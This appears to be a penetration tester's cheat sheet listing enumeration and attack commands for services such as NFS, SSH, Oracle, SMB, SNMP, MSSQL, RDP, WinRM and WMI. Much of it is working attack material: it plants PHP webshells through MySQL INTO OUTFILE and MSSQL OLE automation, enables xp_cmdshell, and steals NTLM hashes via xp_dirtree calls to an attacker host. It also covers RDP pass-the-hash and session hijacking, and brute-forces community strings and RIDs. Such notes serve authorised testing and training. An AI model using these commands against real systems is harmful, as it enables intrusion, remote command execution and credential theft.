SELECT "","<?php system($_REQUEST[0]); ?>","","" INTO OUTFILE '/var/www/html/webshell.php';
curl -o- 'http://<TARGET>/webshell.php?0=<COMMAND>'

NFS

Similiar to SMB.

Dangerous Options
Dangerous OptionDescription
rwRead and write permissions.
insecurePorts above 1024 will be used.
nohideIf another file system was mounted below an exported directory, this directory is exported by its own exports entry.
no_root_squashAll files created by root are kept with the UID/GID 0.
# Show shared dirs
df
exportfs -sv

# Show NFS Shares on server
showmount -e <TARGET>

# Mount NFS
mkdir target-NFS
sudo mount -t nfs -o nolock <TARGET>:/ ./target-NFS
sudo umount ./target-NFS

# Enumerate
sudo nmap -n -Pn -p111,2049 -sV -sC <TARGET>
sudo nmap -n -Pn -p111,2049 -sV --script 'nfs*' <TARGET>

Nix: R-services

Suite of obsolete remote management tools. All communication is unencrypted including its authentication.

# Enum via nmap
sudo nmap -sV -p 512,513,514 <TARGET>

# Remote copy; does not confirm remote overwriting of files
rcp
# Remote shell
rsh
# Remote command
rexec
# Remote login (telnet-like)
rlogin <TARGET> -l <USER>
# Show authenticated users
rwho
rusers -al <TARGET>

Nix: Rsync

# Enum via nmap
sudo nmap -sV -p873 <TARGET>

# Enum dir
rsync -av --list-only rsync://<TARGET>/<DIR>

# Download dir optionally via SSH
rsync -av -e "ssh -p <SSH_PORT>" rsync://<TARGET>/<DIR>

Nix: SSH

Dangerous Settings
SettingDescription
PasswordAuthentication yesAllows password-based authentication.
PermitEmptyPasswords yesAllows the use of empty passwords.
PermitRootLogin yesAllows to log in as the root user.
Protocol 1Uses an outdated version of encryption.
X11Forwarding yesAllows X11 forwarding for GUI applications.
AllowTcpForwarding yesAllows forwarding of TCP ports.
PermitTunnelAllows tunneling.
DebianBanner yesDisplays a specific banner when logging in.
# Audit sercurity of SSH server
# https://github.com/jtesta/ssh-audit
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py -l warn <TARGET> | tee ssh_audit.txt

# Specify auth-method: password
ssh -v -o PreferredAuthentications=password <USER>@<TARGET>

sshpass -p '<PASSWORD>' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 <USER>@<TARGET>

# Force auth-method: privkey
ssh -i <PRIVATE_KEY> <USER>@<TARGET>

Oracle TNS

Oracle’s version of SQL.

# SID Brute-forcing via nmap
sudo nmap -p1521 -sV --script oracle-sid-brute <TARGET>

### ODAT
# TNS Setup for Enumeration
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install --break-system-packages python-libnmap
git submodule init
git submodule update
pip3 install --break-system-packages cx_Oracle
sudo apt install -y python3-scapy
sudo pip3 install --root-user-action colorlog termcolor passlib python-libnmap
sudo apt install -y build-essential libgmp-dev
pip3 install --break-system-packages pycryptodome

# Enumeration
odat.py all -d <SID> -s <TARGET>

### Connect
# Install: https://askubuntu.com/a/207145
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID>
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID> as sysdba
# https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared
# If you come across the following error sqlplus:
# error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, 
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" ; sudo ldconfig

# SQL Commands
select table_name from all_tables ;
select * from user_role_privs ;
select name, password from sys.user$ ;

### Upload webshell (if webserver)
# Linux	/var/www/html
# Windows	C:\inetpub\wwwroot
echo "Oracle File Upload Test" > testing.txt
odat.py utlfile -d <SID> -U <USER> -P <PASSWORD> -s <TARGET> --sysdba --putFile <UPLOAD_DIR> testing.txt ./testing
curl -Lo- http://<TARGET>/testing.txt

SMB/CIFS/RPC

  • TCP 135: RPC Endpoint Mapper (EPM)
  • UDP 137, UDP 138, TPC 139: legacy (CIFS/SMB1)
  • TCP 445: RPC/(SMB2/3)
  • Shares:
    • C$ (drive)
    • ADMIN$ (Windows drive)
    • IPC$ (RPC)
    • PRINT$
See more about… SMB

Source: Docs > 2 - Pre-Engagement > checklist#smb

SMB

  • 1. Anonymous Access & Share Listing (Attempt a null session via smbclient -L <IP> -N or crackmapexec smb <IP> --shares to list shares without credentials)
  • 2. Comprehensive Enumeration (Run enum4linux-ng -A <IP> to automatically dump users, groups, OS info, and password policies)
  • 3. Share Content Inspection (Mount accessible shares or use smbclient to browse directories for sensitive files, scripts, or backups)
  • 4. Security Posture Check (Use nmap --script=smb-security-mode to verify if SMB signing is required, which is critical for preventing relay attacks)
Dangerous Settings
SettingDescription
browseable = yesAllow listing available shares in the current share?
read only = noForbid the creation and modification of files?
writable = yesAllow users to create and modify files?
guest ok = yesAllow connecting to the service without using a password?
enable privileges = yesHonor privileges assigned to specific SID?
create mask = 0777What permissions must be assigned to the newly created files?
directory mask = 0777What permissions must be assigned to the newly created directories?
logon script = script.shWhat script needs to be executed on the user’s login?
magic script = script.shWhich script should be executed when the script gets closed?
magic output = script.outWhere the output of the magic script needs to be stored?
# ANON: List available SMB shares
smbclient -U "" -N --list //<TARGET>/
smbclient -U "guest" -N --list //<TARGET>/

# ANON: Connect to an SMB share
smbclient -U "" -N //<TARGET>/<SHARE>
smbclient -U "guest" -N //<TARGET>/<SHARE>

# Connect to SMB share
smbclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' //<TARGET>/<SHARE>
ls  # List files
more  # read file
get <FILE>  # Download file
recurse  # Toggle directory recursion
# Download recursion
recurse on
prompt off
mget *
# Execute local commands (outside of session)
!<COMMAND>

---

# https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol
# badPwdCount: https://learn.microsoft.com/en-us/windows/win32/adschema/a-badpwdcount

nxc smb <TARGET> -u '' -p '' --users --groups --shares --pass-pol

# User and Groups
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# List shares
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

# Recursively list files
smbmap -r --depth 3 -r <SHARE> -u <USERNAME> -p <PASSWORD> -H <IP>
# Directories only
smbmap -R <SHARE> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -H <IP> --dir-only

---

# https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf
# https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html

# RPC
rpcclient -U '<USER>%<PASSWORD' <TARGET>
querydominfo	# Provides domain, server, and user info
enumdomusers  # Enumerates all domain users
srvinfo	 # Server information
enumdomains	 # Enumerate all domains
netshareenumall	 # Enumerates available shares
netsharegetinfo <SHARE>	 # Info about a specific share
queryuser <RID>  # User info

---

# TODO: move these to a more appropriate/relevant section

# Brute-Forcing RIDs via RPC
for i in $(seq 500 1100);do rpcclient -N -U "" <TARGET> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

# Same with other tools
samrdump.py <TARGET>
smbmap -H <TARGET>

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>

SMTP/ESMTP

Dangerous Settings
OptionDescription
mynetworks = 0.0.0.0/0With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it.
# CAREFUL! Open relay check
sudo nmap -p25,465,587,2525 --script smtp-open-relay <TARGET>

# User enum
# https://github.com/cytopia/smtp-user-enum#how-does-vrfy-work
# TRY: -M VRFY
wget https://raw.githubusercontent.com/cytopia/smtp-user-enum/refs/heads/master/smtp-user-enum

python3 ./smtp-user-enum --mode VRFY --file /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt --domain <DOMAIN> <TARGET> 25

# Manual enumeration
telnet <TARGET> 25
EHLO <HOSTNAME>
VRFY <USER>  # 250 success; 252 maybe/not; 550 failure
EXPN

SNMP

Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.

Dangerous Settings
SettingsDescription
rwuser noauthProvides access to the full OID tree without authentication.
rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>Provides access to the full OID tree regardless of where the requests were sent from.
rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>Same access as with rwcommunity with the difference of using IPv6.
# Enum via nmap
sudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET>

### Brute-force names of Community Strings
# - Default Strings: "public" (Read-Only) and "private" (Read/Write) are common
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET>
// probably "public"

### Brute-force OIDs and info
# -v 1,2c,3
snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1

### Brute-force OIDs
# -2 : use v2
# braa usu. uses Version 1
braa <COMMUNITY_STRING>@<TARGET>:.1.*
braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*

Win: MSSQL

  • TCP/UDP 1433: normal
  • TCP 2433: hidden mode
  • default system schemas/databases:
    • master - keeps the information for an instance of SQL Server.
    • msdb - used by SQL Server Agent.
    • model - a template database copied for each new database.
    • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
    • tempdb - keeps temporary objects for SQL queries.
  • xp_cmdshell:
    • xp_cmdshell is a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
    • The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
    • xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed

Microsoft’s closed-source version of SQL.

Dangerous Settings
  • MSSQL clients not using encryption to connect to the MSSQL server
  • The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
  • The use of named pipes
  • Weak & default sa credentials. Admins may forget to disable this account
# Enumerate via nmap
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=<USER>,mssql.password=<PASSWORD>,mssql.instance-name=MSSQLSERVER -sV -p 1433 <TARGET>

# Enumerate via MSF
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <TARGET>
run

### Login via Windows auth
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
impacket-mssqlclient <USER>:<PASSWORD>@<TARGET>

# Survey
SELECT @@version;
SELECT user_name();
SELECT system_user;
SELECT IS_SRVROLEMEMBER('sysadmin');  -- 1+ is admin
# Users
SELECT name FROM master..syslogins;
# Databases
SELECT name FROM master..sysdatabases;

# show tables ;
USE <DATABASE> ;
SELECT name FROM sys.tables;

Read Files

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Write Files (to achieve command execution)

sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Enable xp_cmdshell

enable_xp_cmdshell
-- These are the same as the above single command
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

xp_cmdshell <COMMAND>

-- or run linked server command
EXECUTE('xp_cmdshell ''<DOS_CMD>''') AT [<LINKED_SERVER>]

Impersonate User

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' ;
GO

-- Impersonating the SA User (admin)
USE master
EXECUTE AS LOGIN = 'sa'
-- Verify
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 0 is NOT admin

Linked Servers

SELECT srvname, isremote FROM sysservers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [<TARGET>\SQLEXPRESS]

-- Capture NTLM Hash
sudo responder -I <INTERFACE>

# XP_DIRTREE Hash Stealing
EXEC master..xp_dirtree '\\<ATTACKER>\share'
# XP_SUBDIRS Hash Stealing
EXEC master..xp_subdirs '\\<ATTACKER>\share'

Win: RDP

Also called “Terminal Services”.

RDP via Pass the Hash

Source: Docs > 6 - Post-Exploitation > pass-the-hash#rdp-restricted-admin-mode

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share
# Enum via nmap
sudo nmap -sV -sC --script 'rdp*' -p3389 <TARGET>

# Enum RDP security posture
sudo cpan
sudo cpan Encoding::BER
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl <TARGET>

# Connects to RDP and mounts mimikatz share
mkdir loot; xfreerdp3 +multitransport /clipboard /dynamic-resolution /cert:ignore /v:<TARGET> /u:<USER> /p:'<PASSWORD>' /drive:'/usr/share/windows-resources/mimikatz/x64',share /drive:"$HOME/loot",loot

# Impersonate other logged-in user
# NOTE: needs SYSTEM
query.exe user
tscon.exe <SESSION_ID> /dest:<SESSION_NAME>

# Local Admin => SYSTEM
sc.exe create sessionhijack binpath= "cmd.exe /k tscon.exe <SESSION_ID> /dest:<SESSION_NAME>"
net.exe start sessionhijack

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Win: WinRM

  • TCP 5985/5986: via HTTP/HTTPS respectively
# Enum via nmap
sudo nmap --disable-arp-ping -n -Pn -sV -sC -p5985,5986 <TARGET>
evil-winrm -u <USER> -p <PASSWORD> -i <HOST>
evil-winrm -u <USER> -H <PASS_HASH> -i <HOST>

PowerShell Remoting

Requires valid Kerberos Ticket (PtT) or active NTLM Injection (PtH) in the current session.

Ports

  • TCP/5985 (HTTP)
  • TCP/5986 (HTTPS)

Requirements

  • Administrative permissions OR
  • Member of “Remote Management Users” OR
  • Explicit PSSession configuration
# PowerShell
$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("<DOMAIN>\<USER>", $password)
Enter-PSSession -Credential $cred -ComputerName <TARGET_HOSTNAME>

Win: WMI

  • TCP 135: first, initialization
  • TCP <RHP>: afterwards, comms
# Run interactive shell
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET>
# Run remote command
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET> "<COMMAND>"